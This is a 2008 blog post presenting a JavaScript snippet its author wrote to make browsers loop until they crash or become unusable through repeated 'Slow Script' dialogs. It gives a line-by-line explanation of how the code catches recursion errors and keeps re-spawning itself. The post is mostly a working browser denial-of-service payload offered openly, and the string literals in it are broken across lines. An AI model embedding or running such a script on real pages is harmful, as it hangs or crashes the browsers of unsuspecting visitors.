Friday, 22 August 2008

Crashing most browsers:

The following code is one I made to cause browsers to loop forever, and either crash, or cause an irritation to the user. In safari and other browsers, every few seconds the "Slow Script" dialogue box shows, which means that window can not be used.

Here is the code, I submitted it to some browsers, namely safari and firefox and I either received no reply, or nothing happened. This is one of the many variations that can be made, I've chosen the easiest one to understand:

function m(){
i=0;
while(i<10000){
try{
document.write("Hello World
");
delete m();
document.write("Hello World
");
}
catch(e){
new m();
i++;
}
}
}
m();


How it works.
while(i<10000){
This makes the script loop ten thousand times, while(true) may also work, but I haven't tried.



try{stuff here}catch(e){stuff here}
The try statement checks if there is an error or exception in the code it holds, if there is it uses code in the catch statement. So if a too many recursions, stack overflow (or what ever you want to call it) error occurs, the code inside catch gets executed (see below).


document.write("Hello World
");
delete m();
document.write("Hello World
");
This writes "Hello World" on the page, and "deletes" the function m.

new m();
This creates a new instance of the function m, when the original one is stopped by the browser because of the too many recursions error. Because it is a new instance, it is not prevented from executing because, even though it is a clone object of the original, it is starting executing from scratch. When that new instance is stopped, then the catch creates a new instance of the object and that is then executed.

(NOTE: in the above example, the new m() just creates a new instance of m, which (to my knowledge) is not executed, the original m is executed.

0 comments: